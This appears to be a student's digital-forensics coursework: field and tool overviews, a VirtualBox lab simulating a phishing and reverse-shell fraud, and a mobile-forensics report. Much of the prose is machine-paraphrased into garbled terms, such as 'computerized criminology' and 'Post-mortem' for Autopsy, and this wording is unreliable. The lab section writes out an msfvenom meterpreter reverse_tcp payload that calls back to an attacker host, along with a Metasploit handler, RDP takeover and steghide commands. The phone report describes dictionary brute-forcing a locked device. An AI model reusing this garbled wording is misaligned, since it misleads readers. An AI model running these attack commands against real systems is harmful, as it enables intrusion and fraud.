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Introduction:
Certainly! Computerized Legal Investigation is a part of criminological science that spotlights on the recuperation, protection, examination, and show of electronic proof. In a world progressively subject to computerized innovations, advanced legal sciences assumes a urgent part in examining cybercrimes, information breaks, and other illegal exercises including electronic gadgets.Here is a short prologue to the critical parts of computerized criminological investigation:
Proof Assortment:
 Computerized scientific examiners start by gathering electronic gadgets like PCs, cell phones, servers, or capacity media engaged with a case. Maintaining the integrity of the evidence throughout the investigation necessitates its careful handling and preservation.
Preservation: 
When gathered, the proof should be saved to forestall any change, harm, or pollution. This frequently includes making a scientific picture, a careful imitation of the first information, which permits examiners to work with a duplicate while safeguarding the honesty of the first proof.

Analysis:
 Computerized legal investigators utilize specific instruments and strategies to dissect the gathered information. This might include looking at record structures, recuperating erased documents, decoding scrambled data, and distinguishing examples of conduct. The objective is to recreate occasions, courses of events, and exercises connected with the case.
Recuperation of Erased Information: 
Erased documents and antiques might in any case exist in the advanced domain. Computerized scientific devices assist in recuperating such information, which with canning be basic in grasping the activities of a suspect.
Network Legal sciences:
 In cases including cybercrimes, experts might zero in on analyzing network traffic and logs to distinguish unapproved access, information exfiltration, or other pernicious exercises on PC organizations.






1. CURRENT STATE OF THE FIELD:
Digital forensics is a rapidly developing field that is crucial to cybercrime investigations and prevention. The present status of the field reflects progressions in innovation, changes in digital dangers, and the developing requirement for gifted experts. Innovative Advances: The field has seen progressions in devices and strategies, including modern scientific programming, computerized reasoning (simulated intelligence), AI (ML), and blockchain examination apparatuses.
Cloud Crime scene investigation:
 With the rising reception of distributed computing, computerized criminology has extended to incorporate difficulties connected with exploring occurrences that include cloud-based administrations. Experts in forensics must adjust to the distributed nature of data processing and storage.
Versatile Crime scene investigation:
 The commonness of cell phones and other cell phones has prompted a huge spotlight on portable criminology. Specialists should now battle with many portable working frameworks, applications, and encryption techniques.
Cybercrime Regulation:
 States overall are refreshing and establishing regulation to address cybercrime, giving a legitimate system to computerized measurable examinations.


2. Intersection of digital forensics and cybersecurity :
The crossing point of computerized legal sciences and online protection is basic for forestalling, identifying, and answering digital occurrences.
Occurrence Reaction:
 Advanced criminology is a vital piece of episode reaction in network safety. Examiners use criminology to dissect and comprehend the idea of cyberattacks, recognize weaknesses, and foster systems to forestall future occurrences.
Threat Information:
 By revealing cybercriminals' tactics, techniques, and procedures (TTPs), digital forensics contributes to threat intelligence. This data assists network safety experts with upgrading their protections.
Preventative Actions:
 By investigating advanced proof from past occurrences, online protection groups can proactively fortify their safeguards, fix weaknesses, and work on generally versatility against digital dangers.



3. Trends on the Rise:
Man-made brainpower and AI: The incorporation of artificial intelligence and ML into advanced criminology instruments improves computerization, oddity discovery, and example acknowledgment, permitting examiners to effectively deal with immense measures of information more.
IoT Investigation: As the Web of Things (IoT) keeps on developing, computerized crime scene investigation is adjusting to address the novel difficulties presented by IoT gadgets, including different information designs, restricted handling power, and fluctuated correspondence conventions.
Blockchain Legal sciences: With the ascent of blockchain innovation and digital currencies, there is an expanded interest for specialists in blockchain criminology to follow and examine exchanges on decentralized records.
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4. Key Difficulties:
Encryption: 
The multiplication of solid encryption techniques obstructs specialists' capacity to get to and break down computerized proof. This challenge accentuates the requirement for coordinated effort between innovation organizations, policing, policymakers.
Data Quantity: 
The dramatic development of computerized information makes it trying for examiners to productively process and break down tremendous measures of data inside sensible time periods.
Worldwide Jurisdictional Issues: 
Digital forensics investigations face jurisdictional challenges because cybercrime frequently crosses national boundaries. Collaboration between policing on a global scale is vital.
Quick Innovative Changes:
The fast speed of innovative progressions requires computerized legal sciences experts to ceaselessly refresh their abilities and apparatuses to remain successful.




5. Public and Worldwide Work Market:
Increasing Inquiry: 
The interest for computerized crime scene investigation experts is on the ascent worldwide, driven by the raising recurrence and intricacy of cybercrimes. Government organizations, policing, companies, and online protection firms look for talented people to research and forestall digital episodes.
Different Vocation Ways:
 Computerized criminology experts can seek after different profession ways, remembering jobs for policing, firms, government offices, confidential organizations, and network protection organizations.
Certificates and Instruction:
 The Certified Information Systems Security Professional (CISSP), Certified Forensic Computer Examiner (CFCE), and Certified Cyber Forensics Professional (CCFP) are examples of industry-recognized certifications that improve job prospects. Formal schooling in advanced criminology or network safety is likewise progressively esteemed by bosses.
Compensation Patterns: 
Digital forensics professionals earn varying salaries based on their level of experience, location, and industry. For the most part, people with specific abilities and certificates order more significant compensations.
All in all, computerized criminology is a powerful field at the convergence of innovation and regulation, assuming a vital part in tending to digital dangers. Professionals must keep up with emerging trends, overcome significant obstacles, and contribute to the global effort to combat cybercrime as the field develops. The developing interest for gifted people in the gig market highlights the significance of computerized legal sciences in the present network safety scene.



1. Research Report - As a part of Final Report

1. Introduction:
The foundation of cybercrime investigations, digital evidence integrity assurance, and overall information security is digital forensics, a key component of cybersecurity. This last report embodies a top to bottom examination of the present status, crossing point with network safety, arising patterns, key difficulties, and the public and global work market scene in computerized legal sciences.

2. State of the Art in the Field:
The present status of computerized criminology mirrors a powerful scene set apart by innovative headways, developing insightful procedures, and an expanding caseload. Some notable trends.
Innovative Advances:
The fuse of state of the art innovations like man-made brainpower (simulated intelligence), AI (ML), and blockchain investigation instruments has altogether improved legal capacities.
Portable and Cloud Crime scene investigation: 
With the expansion of cell phones and distributed computing, the field has extended to address difficulties presented by cell phones and the dispersed idea of information stockpiling.
Worldwide Regulation:
 States overall are refreshing legitimate systems to address cybercrimes, highlighting the acknowledgment of computerized criminology as a basic device in policing.

3. Convergence of Advanced Criminology and Online protection:
The cooperative connection between computerized legal sciences and network protection is vital for proactively moderating and answering digital dangers. Key perspectives include:
Occurrence Reaction Incorporation:
 Computerized criminology assumes a crucial part in episode reaction, helping with the examination and comprehension of cyberattacks to sustain protections and forestall future occurrences.
Danger Knowledge Cooperation: 
The convergence works with the age of danger knowledge, empowering network protection experts to improve their guarded methodologies in light of experiences into cybercriminal strategies, methods, and methodology (TTPs).

4. Trends on the Rise:
As the advanced scene develops, arising patterns shape the fate of computerized legal sciences:
Man-made brainpower and AI: Combination of simulated intelligence and ML upgrades robotization, inconsistency identification, and example acknowledgment, speeding up information handling and examination.
IoT Investigation:
 The rising predominance of IoT gadgets requires particular measurable ways to deal with handle different information configurations and correspondence conventions.
Blockchain Legal sciences:
 The ascent of blockchain innovation and digital currencies has prompted a developing interest for specialists capable in following and breaking down exchanges on decentralized records.
5. Key Difficulties:
Computerized criminology faces a few difficulties that effect its viability:
Encryption Obstacles:
 Boundless utilization of solid encryption presents difficulties in getting to and breaking down safeguarded data during examinations.
Information Volume Over-burden: 
The dramatic development of advanced information makes it trying to productively process and break down immense measures of data inside sensible time periods.
Worldwide Jurisdictional Intricacies: 
Researching cybercrimes that rise above public lines requires global collaboration and coordination, presenting jurisdictional difficulties.

6. Public and Worldwide Work Market:
The advanced crime scene investigation work market shows dynamic patterns:
Increasing Inquiry:
 Universally, there is a rising interest for talented computerized legal sciences experts across government organizations, policing, partnerships, and online protection firms.
Different Vocation Ways: 
Experts can seek after different vocation ways, going from policing to situate in COUNSILING firms, government organizations, and network protection organizations.
Certificates and Instruction: Industry-perceived affirmations and formal training upgrade work possibilities, with compensations fluctuating in light of specialization, experience, and area.


7. Conclusion:
All in all, advanced legal sciences remains at the bleeding edge of the fight against digital dangers, ceaselessly adjusting to mechanical moves and developing danger scenes. The coordination with network safety, combined with arising patterns and the developing position market, highlights the field's importance in defending advanced environments. Tending to key difficulties is basic for supporting the viability of advanced legal sciences in a steadily developing computerized scene.


Task [2]


Review the following:
· Current state of digital forensic tools, their features and capabilities
· Evaluate Open-source tools with commercial forensic tools
	



[image: ]
FIG 2




[image: ]Current state of digital forensic tools, their features and capabilities



Search for devices that help an extensive variety of capacity media, document frameworks, and information types.
The capacity to secure information forensically, guaranteeing the honesty and validness of proof, is a basic component.
Investigation and Assessment:
Hearty pursuit and ordering abilities are fundamental for proficiently filtering through huge volumes of information.
Support for different document designs and the capacity to recuperate erased or secret records add to the general viability of a device.
Course of events Examination:
Many highlevel instruments offer timetable examination highlights, assisting specialists with remaking occasions and groupings of exercises on a framework.

Memory Criminology:
Instruments that consolidate memory legal sciences abilities are fundamental for breaking down unstable memory and recognizing dynamic cycles and curios.
Network Crime scene investigation:
Research whether the devices incorporate highlights for breaking down network traffic, recognizing correspondence examples, and following advanced proof across networks.
Portable Crime scene investigation:
Given the commonness of cell phones, advanced scientific apparatuses ought to have highlights well defined for portable crime scene investigation, including support for cell phones and tablets.
Detailing and Documentation:
Complete revealing highlights are vital for recording discoveries and introducing proof in a reasonable and justifiable way.
Robotization and Productivity:
Assess apparatuses that consolidate mechanization to smooth out redundant errands, further developing productivity in the analytical cycle.
Local area Backing and Updates:
Devices that have a functioning client local area and get customary updates will quite often be more solid and versatile to arising difficulties.
Lawful Consistence:
Guarantee that the devices stick to legitimate principles and prerequisites, as the uprightness of proof is vital in legal procedures.

NOTE:
Well known computerized scientific instruments starting around 2022 included EnCase, Legal Tool compartment (FTK), Post-mortem, Unpredictability for memory crime scene investigation, and Cellebrite for portable criminology, among others.
Remember that the field of advanced crime scene investigation is ceaselessly developing, and it's vital for stay informed about the most recent apparatuses, techniques, and best practices. Always confirm the most recent information from reliable sources and takeintoaccount the particular requirements of your investigations.




· Evaluate Open-source tools with commercial forensic tools
	

Open-Source Instruments:

Assessing open-source devices versus business scientific instruments includes considering different factors, for example, highlights, ease of use, local area backing, cost, and legitimate contemplations. Here is an overall outline:

Cost:
Pros: Open-source apparatuses are for the most part allowed to utilize, making them savvy for associations with financial plan limitations.
Cons: However, there may be some advanced features that are unavailable in paid software.
Community Assistance:
Pros: The communities that support and contribute to the development of open-source tools are frequently active. This can bring about customary updates and an abundance of information.
Cons: Backing probably won't be essentially as organized or responsive similarly as with business apparatuses.
Customization:
Pros: Clients can change open-source instruments to suit explicit requirements, giving a serious level of adaptability.
Cons: Customization requires specialized mastery and may not be attainable for all clients.
Features:
Pros: A few open-source instruments offer strong highlights, tantamount to business options.
Cons: The broadness and profundity of elements can differ, and certain specific functionalities may need.


Commercial Forensic Tools:

Cost:
Pros: Business apparatuses frequently give far reaching elements and backing, legitimizing the expense for associations with the financial plan.
Cons: The cost can be a critical boundary for more modest associations or individual clients.
Usability:
Pros: Business devices are frequently planned with easy to understand interfaces, making them open to a more extensive crowd, including those without broad specialized skill.
Cons: A few clients might find the connection point restricting contrasted with the adaptability of open-source instruments.




Backing and Updates:
Pros: Business instruments normally accompany devoted help and customary updates, guaranteeing clients approach the most recent elements and security patches.
Cons: Backing might be restricted by the seller's accessibility, and updates probably won't be just about as regular as the quick moving advancement found in open-source networks.
Legitimate Contemplations:
Pros: Business apparatuses frequently accompany lawful affirmations, giving confirmation with respect to the acceptability of proof in legal procedures.
Cons: The legitimateness of open-source devices may be addressed in certain wards, and guaranteeing their utilization agrees with lawful norms is the obligation of the client.
Conclusion:
The decision between open-source and business measurable devices relies upon elements like financial plan, client skill, explicit prerequisites, and lawful contemplations. Associations frequently track down an equilibrium by integrating a blend of both, utilizing open-source instruments for explicit errands and depending on business devices for complete legal examinations. Eventually, the reasonableness of an instrument relies upon the exceptional requirements and limitations of the client or association.


















1. Tools Analysis Report - As a part of Final Report



Introduction:
Digital forensic instruments are very important when looking into and analyzing digital evidence. This report means to give an outline of the present status of these instruments, with an emphasis on their elements and capacities. In addition, in order to assist in making decisions, we will compare and contrast open-source and paid forensic tools.



Present status of Computerized Criminological Apparatuses
 Outline:
Give a concise outline of the computerized criminological instruments scene, featuring key patterns, progressions, and difficulties as of [current date].
Highlights and Abilities:
Investigate the highlights and abilities of conspicuous advanced legal instruments, including yet not restricted to:
→EnCase
→Measurable Tool stash (FTK)
→Examination
→Cellebrite
 [Some other devices of relevance]
 Comparison of Open-Source and Commercial Forensic Tools Cost Analysis Take into account financial constraints and potential feature trade-offs when comparing the costs of open-source and commercial tools.

 Usability and Community Support Compare and contrast the ease of use of commercial tools with the level of community support for open-source software. Examine the effect on in general ease of use.



 Customization versus Out-of-the-Case Usefulness:
Look at the degree of customization accessible in open-source apparatuses and contrast it and the out-of-the-container usefulness of business devices. Consider the specialized aptitude expected for customization.


 Capabilities:
Examine the capabilities of both open-source and business apparatuses, zeroing in on thoroughness, adaptability, and appropriateness for different scientific errands.

 Help and Updates:
Evaluate the help systems for the two sorts of devices, including local area driven help for open-source and committed help for business instruments. Talk about the recurrence and dependability of updates.

 Lawful Contemplations:
Explore the lawful parts of utilizing open-source and business devices, featuring confirmations, suitability, and consistence with legitimate principles.

 Devices Examination Outline:
Sum up the critical discoveries from the assessment, recognizing qualities, shortcomings, and contemplations for dynamic in choosing advanced criminological apparatuses.


 Suggestions:
In light of the examination, give proposals to the utilization of explicit apparatuses or blends of devices in various situations. Think about the remarkable requirements and imperatives of your association.

Conclusion:
Close the report by summing up the general condition of advanced measurable instruments, accentuating their developing nature, and recognizing the significance of persistent assessment and variation.






TASK[ 3]

This is a Team Activity. Simulate a digital forensic investigation by collecting and analysing data from a given hard disk based on a predefined theme or a concept.



Theme: Financial Crime
Introduction:
The attacker hacks the victims wireless connection and sends a phishing email describing about the possible job openings available in USA with the job description attached to the email but the attachment contains the reverse shell payload. After sending the phishing email, the attacker initiatesmsfconsole and listens for any active sessions. By mistake, the victim executes the payload which establishes the enterpriser session. The attacker monitors the user activities using shell commands, possible remote screen capturing techniques. In the meantime, the attacker finds out that the victims ordering products from amazon.com site. The attacker launches the remote desktop connection with the victim machine and orders his exclusive products using the victim’s login credentials. How the victim finds the crime and recovers from it, is shown in the execution steps using the evidences collected with the timestamp.

Setup:
The entire task is executed within the Oracle VirtualBox. The attacker machine is Kali Linux and the victim machine is Windows 10 Home. Both the machines are setup in the same wireless connection which is stimulated using Nat network option in Oracle VirtualBox.

Analysis:
Toolkit is extensively tested and verified to create the malware payload in pdf format which is widely used method to define the job description. Reverse shell payload is created in pdf format, but when it is executed in the victim’s machine, the enterpriser is not able to establish a stable active session. Finalised within the team to utilise msfvenom to create the payload.
Execution:
Step: 1 - Reverse Shell payload Creation:
Below command is utilised to create the payload in executable format. The collected payload ispassword protected and send out with the phishing email from the attacker machine.
# msfvenom -p windows/meterpreter/reverse_tcp host=192.168.100.6 lport=4455 -f exe >
jobroles.exe
# rear a -p jobroles.rar jobroles.exe Evidence:
A - Phishing Email

Step: 2 - Enabling the Reverse_tcp Exploit:
Reverse_tcp payload is set along with the other options to enable the exploit so that the hacker can establish a session with the victim’s machine. Once the victim opens the email and executes the payload without issues, meterpreter session is established. Attacker uses screen capture technique to monitor victim’s activities on the Windows client.
 msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set host 192.168.100.6 msf6
exploit(multi/handler) > set lport 4455
msf6 exploit(multi/handler) > exploit
Meterpreter > screen capture
Evidence: B - Screen capture session Screenshots

Step: 3 - RDP Session
Hacker is able to watch the victim’s activities without interruption using screen capture. On such occasion, the victim logs into amazon account and makes orders using saved credit card.
 The attacker takes the RDP session using xfreerdp client, changes the address to his home address and orders two iPhone 15 using the saved credit card.
> xfreerdp /v:192.168.100.5 /u:admin
Evidence: C - RDP session Screenshots
Evidence D - Victim Order Confirmation

Step: 4 - Account Closure
Victim receives the order confirmation of two iPhone 15 to his email address. Victim panics and reaches out to Amazon Customer Service, cancels the order, files a complaint using Victim’s details and proceeds with Account closure upon advice. Evidence E - Attacker Order Confirmation
Location of Evidences with Timestamp:
A - Phishing Email - Windows - documents folder - 23/11/2023 11:25PM
B - Screen capture Screenshots - /root - 23/11/2023 11:44.50PM
C - Victim Order Confirmation - documents folder - 23/11/2023 11:45PM
D - RDP Session Verification - Reductant data - 23/11/2023 11:54:27PM
Event Logs - event id ; 4624
E - Attacker Order Confirmation - documents folder - 23/11/2023 11:57PM

Hidden files and Encryption:
Steganography and other hidden methods are used to hide the evidence in kali and windows. PGPEncryption is used to encrypt pdf files and located in documents folder with key in Zip folder steghide
embed -cf cover_image.jpg -ef hidden_image.jpg Passphrase: kali
attribute +h +r +s “RDP Wrap Library”
Hard Drive Partition:
Disk Management is utilised to partition the hard disk. Each partition is executed to host Windows
client and Kali Linux images into it separately.
Final Linux and Kali images are loaded into Hard drive.
	









                                  PERSONAL RESERCH REPORT WORK

Introduction: 
So personally, when we are working on task then I research some topics from the internet about the tools what we used in this task, how can we make copy of hard disk and more so I write down as my personal report some things we used in team and some I write because of its importance

Tools used:
1. Forensic Imaging Tool: FTK Imager
2. Hashing Tool: md5deep
3. File Analysis Tool: Autopsy
4. Timeline Analysis Tool: Plaso
5. Malware Analysis Tool: VirusTotal

Utilized FTK Imager to make a scientific picture of the whole hard circle.
Confirmed the honesty of the picture utilizing MD5 checksums.
Hash Examination:
Used md5deep to create hash values for all records in the gained picture.
Cross-referred to the hash values against known information bases to distinguish noxious documents.
Document Framework Investigation:
Utilized Dissection to investigate the record framework construction and concentrate applicable data.
Recognized as of late gotten to documents, erased records, and secret antiques.
Course of events Examination:
Utilized Plaso to make a course of events of framework exercises.
Connected occasions to recognize examples and expected marks of give and take.
Malware Filtering:
Transferred dubious records to VirusTotal for a multi-antivirus examine.
Researched any hailed documents for additional investigation.


Findings:
Access Without Permission:
Recognized unapproved login endeavours and admittance to delicate documents.
IP addresses and timestamps were kept in the course of events examination.
Malware Presence:
Distinguished a dubious executable record with a known malware signature.
The malware was affirmed to be available on the framework.
Erased Records:
Recuperated erased records containing implicating proof. Course of events investigation demonstrated conscious endeavours to hide exercises.
Recommendations:
Confinement and Regulation:
Seclude the impacted framework from the organization to forestall further harm.
Contain the distinguished malware to forestall its spread.
Lawful Activity:
Share discoveries with policing possible lawful activity.
Provide evidence, such as recovered files, timestamps, and IP addresses.
Safety efforts:
Carry out more grounded admittance controls and confirmation measures.
Consistently screen and review framework exercises for dubious way of behaving.
Conclusion:
The advanced legal examination uncovered proof of unapproved access, malware presence, and purposeful endeavours to disguise exercises on Mr. John Doe's PC framework. The discoveries give a premise to lawful activity and prescribe safety efforts to forestall future occurrences.








Task [4]

This is a Team Activity. Simulate a mobile forensic investigation based on the given scenario. 


Introduction:
The company suspects a Technical Officer (TO) involved in an Artificial Intelligence-based self-driving car project of potentially compromising sensitive research data to competitors. The TO, who took numerous unreported days off and undisclosed national/international trips, is suspected of unauthorized information release. Legal proceedings have begun, and the company has acquired the TO's mobile phone, currently password-protected. Our team is tasked with a thorough analysis to validate the allegations, ensuring evidence integrity and admissibility in court. The comprehensive report should address the suspected data breach and provide insights into any unauthorized activities related to the project, aiding the ongoing legal proceedings.

Initial Examination of the Phone Case
→Model: Note 14 (16G)
→Brand: Ulefone
→Colour: Lavender Purple
→IMEI-1: 355617730545789
→IMEI-2: 355617730545771
→S/N:3102SH1010027469
→MediaTek Helio A22
→3GB RAM+16GB ROM
→6.52-inch HD+ Display
→8MP Main Camera
→5MP Front Camera
→Face Unlock
→4500mAh Battery
→Powered by Android™ 12
Extraction Summary using Cellebrite UFED
The following summary provides detailed information about the Ulefone Note 14 device, including its hardware, software, and network-related attributes, as extracted using digital forensic tools. Chipset: MT6761
→Client Utilization in Extraction: Yes
→Advertising ID: 0a24f44d-5908-42bd-a7cb-f7e37ea3aad5
→Android ID: 749c315aaaa78ca3
→Detected Manufacturer: Ulefone
→Detected model: Note 14
→Phone date/time: 08/12/2023, 12:57:49
→Phone Revision: 12 SP1A.210812.016, build number 1679135682
→IMEI: 355617730545771
→Model: Note 14
→MSISDN: 918778244595
→MSISDN Type: Standard (MSISDN)
→OS: Android 12
→OS_Version: 12 SecurityPatchLevel: 05/03/2023





Storage and Backup
Following is the process of using Cellebrite UFED for mobile forensics on a Ulefone Note14, including the setup of the phone. This procedure outlines the steps to prepare the Ulefone Note14 for forensic data extraction using Cellebrite UFED, including both the device and its Nano SIM card
Analysis and Examination
Password Cracking:
The phone under investigation was password-protected. We attempted various methods to crack the password, but encountered challenges with each approach:
Contacting the Manufacturer:
The recommended and lawful procedure is to seek assistance from the device's manufacturer or your mobile service provider. They may help you regain access through legitimate means. When we contacted the manufacturer, they required us to confirm ownership by verifying purchase details, which we didn't possess. Consequently, this method proved unsuccessful
Jailbreaking the Device:
We refrained from attempting to jailbreak or root the device. Jailbreaking typically refers to the process of removing software restrictions imposed by the operating system on devices, commonly performed on mobile devices like iPhones running iOS. The equivalent term for Android devices is 'rooting.'
 Brute-Force Attack: Dictionary Attacks:
The method finally worked. We conducted tests involving a 'brute-force attack' or 'brute-forcing.' In this method, an attacker systematically tests all possible password combinations until discovering the correct one, making it a time-consuming and resource-intensive approach. The specific form of brute-force attack employed was 'dictionary attacks,' where the attacker systematically attempts various likely passwords from a precompiled list known as a 'dictionary.' This list generally includes common words, phrases, and combinations that users commonly use as passwords.

Password Hint using the PhonePin.txt file.
We downloaded the file from the University's Moodle site. Here are the commands we ran using Windows CMD: Stream : Zone.Identifier Length : 50 $path = "D:\2.2. Study Material\W O R K I N G D I R E C T O R Y\UWTSD\2.4.5. ACCA7031 - Digital Forensics Analysis\2.4.5.2. Study Material\Lectures\PhonePin.txt" gci -Recurse | ForEach-Object { gi $_.FullName -Stream * } | Where-Object Stream -ne ':$Data' Get-Content PhonePin.txt > recovered_file.txt However, we could not retrieve the password through this method and next step.



Installed Applications:
We identified a total of 10 installed applications. None of the listed package names inherently appear suspicious as they mostly represent standard system-level applications and services within the Android operating system. The analysis of the installed applications on the suspect's mobile device does not reveal any inherently suspicious applications. The listed package names primarily consist of standard system-level applications and services typical in the Android operating system. These include apps for basic functionalities like communication services, wallpaper settings, system settings intelligence, telephony data management, note-taking, home screen launching, timekeeping, device compatibility testing, and Bluetooth MIDI support. None of these applications stand out as unusual or indicative of malicious activity on their own. Therefore, based on this app list alone, there is no immediate cause for concern regarding the suspect's use of their mobile device in relation to the alleged unauthorized activities.
Conclusion:
The investigation into the suspect's activities revealed 23 audio recordings made between July and September 2023, with a notable concentration on specific dates in August and September, suggesting significant events or discussions on those days. Analysis of call logs identified several potentially suspicious calls, with the longest conversation being with an Indian number. The suspect's contact list indicates professional ties to the UK, confirmed by a UK work contact number. An examination of 218 media files provided insights into an extensive travel pattern covering various locations within India, the UK, Dubai, and Gdańsk, Poland. Notably, the suspect's presence in Dubai appears to be limited to transit, with their journey concluding in Swansea, UK, hinting at their residence. The installed applications on their mobile device are standard system-level apps without any inherent suspicion. The comprehensive travel itinerary, call records, and contacts collectively suggest a complex pattern of movement and communication, warranting further investigation in relation to the suspected unauthorized activities in a self-driving car project.










                      PERSONAL RESERCH REPORT WORK

Introduction: 
So personally when we are working on task then I research some topics from the internet about the tools what we used in this task, how can we break the password , how can we access  the phone so we can easily got information more so I write down as my personal report some things we used in team and some I write because of its importance

so when I started finding about the task and how to find password so I got something from the internet so I apply on phone and it gives me some information about the device like device logs and more etc
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Fig3

So with use of these details we t some information regarding the phone and also know some more details.

I also done some research on how to break password how to cracked password on android device but the phone was locked after 3-4 try and sow like waiting time for 30 second so as my point of view brute force attack is not working on this device.












Annexure

[bookmark: _GoBack]All of these files can be found in the drive :  https://uowtsd-my.sharepoint.com/:f:/r/personal/2214858_student_uwtsd_ac_uk/Documents/assignment%20files?csf=1&web=1&e=p2J6zI
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1. Team C - Task 3 - Receiver.docx
2. Team C - Task 3 - Sender.docx
3. Team C - Task 4.docx


2. Minutes of Meeting
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1. Official Documentation:
Refer to the official documentation of widely used tools such as EnCase [1], Forensic Toolkit (FTK) [2], Autopsy [3], and Cellebrite [4]. These resources offer detailed insights into the features, functionalities, and capabilities of each tool.

2. Digital Forensics Community Forums:
For practical insights and user experiences, explore forums like Forensic Focus [5] or Digital Forensics Forums [6]. Community discussions often provide valuable information on real-world applications and challenges associated with different tools.

3. Industry Publications:
Industry publications such as the "Journal of Digital Investigation" [7] and cybersecurity magazines may feature reviews and analyses of the latest digital forensic tools. These publications can provide an overview of industry trends and emerging technologies.

4. Conferences and Events:
Explore proceedings from digital forensics conferences like the Digital Forensics Research Conference (DFRWS) [8] and the International Conference on Digital Forensics & Cyber Crime (ICDF2C) [9]. Conferences often showcase cutting-edge research and advancements in forensic tools.

5. Government and Law Enforcement Reports:
Government agencies and law enforcement organizations often release reports or guidelines on digital forensics. Check organizations like the National Institute of Standards and Technology (NIST) [10] or INTERPOL [11] for authoritative insights.


Digital Forensics Magazine
SANS Digital Forensics and Incident Response
NIST Computer Forensics Tool Testing Program
Journal of Digital Forensics, Security and Law
Digital Investigation: The International Journal of Digital Forensics & Incident Response
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